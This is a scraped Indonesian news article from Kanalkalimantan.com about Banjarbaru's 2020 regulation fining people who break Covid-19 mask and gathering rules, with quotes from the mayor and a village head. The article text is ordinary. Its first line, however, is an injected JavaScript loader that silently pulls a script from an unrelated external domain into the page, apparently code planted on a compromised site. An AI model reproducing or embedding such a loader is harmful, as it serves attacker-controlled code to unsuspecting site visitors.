(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Pro Kontra Perwali Protokol Covid-19, Nadjmi: Perlu Aturan Tegas agar Tak Jadi Lelucon!


KANALKALIMANTAN.COM, BANJARBARU – Peraturan Wali Kota (Perwali) Banjarbaru Nomor 20 Tahun 2020 tentang pengenaan sanksi bagi masyarakat yang melanggar protokol kesehatan Covid-19, nampaknya belum bisa diberlakukan pekan ini. Selain adanya pro kontra terkait sanksi denda ratusan ribu rupiah, juga lantaran pemko masih melakukan tahapan sosialiasi.

Wali Kota Banjarbaru Nadjmi Adhani pun angkat bicara atas munculnya pro kontra di masyrakat. Ia menegaskan, terbitnya Perwali yang mengatur soal sanksi pelanggar protokol kesehatan berangkat dari niat baik mempercepat penanganan dan pencegahan penularan Covid-19 di Banjarbaru.

“Ini adalah salah satu ikhtiar agar masyarakat tetap bisa produktif dengan tetap mematuhi protokol covid-19. Memastikan masyarakat melindungi diri sendiri dan orang lain di sekitarnya. Termasuk membiasakan dengan kebiasaan baru,” katanya kepada Kanalkalimantan.com, Senin (20/7/2020).

“Ini tidak hanya dibutuhkan kesadaran pribadi, tetapi juga diperlukan aturan yang tegas bahkan sanksi agar kita semua mematuhi protokol covid-19,” tegasnya.

 

Baca juga :

Nadjmi menyadari sejak terbitnya Perwali pada 9 Juli lalu, masyarakat Banjarbaru heboh. Apalagi dalam Perwali tersebut menyebutkan adanya pemberlakuan sanksi denda. Ia menegaskan bahwa pengenaan sanksi denda bertujuan menjadi shock therapy, mengingat selama ini sanksi fisik hanya dianggap para pelanggar sebagai lelucon belaka.

Sosialisasi perwali Banjarbaru terus dilakukan untuk meminimalkan penyebaran Covid-19. Foto: Rico

“Denda merupakan sanksi terakhir yang kita kenakan apabila masyarakat masih saja ngeyel dan melakukan pelanggaran yang sama. Tidak apa-apa kalau masyarakat ribut dengan terbitnya aturan ini. Justru ini menjadi pengingat agar masyarakat mentati protokol karena ada sanksi di Banjarbaru dan siap diberlakukan,” lanjut Wali Kota.

Tak hanya itu, Nadjmi juga menyoroti polemik tentang pengenaan sanksi bagi masyarakat yang berkumpul lebih dari 5 orang di fasilitas umum. Ia meluruskan sanksi bukanlah menyasar kepada masyarakat yang berkumpul lebih dari 5 orang, melainkan jika kelompok tersebut sama sekali mengenakan masker.

“Yang dimakdsudkan Perwali itu bukan membatasi bekumpul 5 orang. Maksudnya, apabila dalam kelompok itu semuanya mengenakan masker, barulah kita kenakan sanksi. Kalau hanya cuma satu orang saja yang tidak mengenakan masker, cuma kita tegur saja,” jelas Nadjmi.

Meskipun Wali Kota Banjarbaru telah angkat bicara, namun faktanya masih banyak hal yang belum dijelaskan terkait bagaimana pelaksanaan Perwali tentang sanksi ini. Termasuk, teknis bagaimana pemberian denda kepada masyarakat.

Sesuai dengan pasal yang tertera dalam Perwali tersebut, sanksi dikenakan atas dua pelanggaran prokol kesehatan Covid-19. Yakni, masyarakat yang tidak menggunakan masker saat berada di tempat umum, dan kelompok masyarakat yang berkumpul melakukan kegiatan dengan jumlah lebih dari lima orang saat berada di tempat umum.

Baca juga :

Tidak tanggung-tanggung, bagi masyarakat yang melakukan salah satu dari kedua pelanggaran tersebut terancam dikenakan sanksi sosial dan denda. Untuk sanksi sosial, pelanggar akan disuruh membersikan sarana fasilitas umum dengan menggunakan rompi. Sedangkan, untuk sanksi terberat, pelanggar terancam harus membayar denda administratif berkisar dari Rp100 ribu – Rp250 ribu.

Sosialiasi tentang Perwali tersebut kini terus dilakukan di tiap-tiap wilayah Banjarbaru. Seperti halnya di Kelurahan Cempaka, Kecamatan Cempaka, yang mana sosialiasi dilakukan di area pintu keluar masuknya masyarakat.

“Kita sosialiasi di titik lokasi, dimana aktivitas masyarakat keluar masuk. Memang kita belum memberlakukan aturan ini. Kita hanya memberhentikan masyarakat apabila tidak mengenakan masker, lalu kita imbau dan dikasih tau bahwa ada sanksi jika tidak mengenakan masker. Kita juga berikan masker bagi mereka yang tidak punya,” kata Lurah Cempaka, Junaidi. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

Desy Arfianty

Recent Posts

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

12 menit ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

22 menit ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

45 menit ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

1 jam ago

Peringatan Hardiknas dan Hari Otda, Wabup Banjar Bacakan Sambutan 2 Menteri

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Pendidikan Nasional (Hardiknas) dan Hari Otonomi Daerah ke-28 tahun 2024… Read More

2 jam ago

Kuliner Gratis dan Panjat Pinang Warnai Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Ribuan warga mendatangi lokasi peringatan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara… Read More

3 jam ago

This website uses cookies.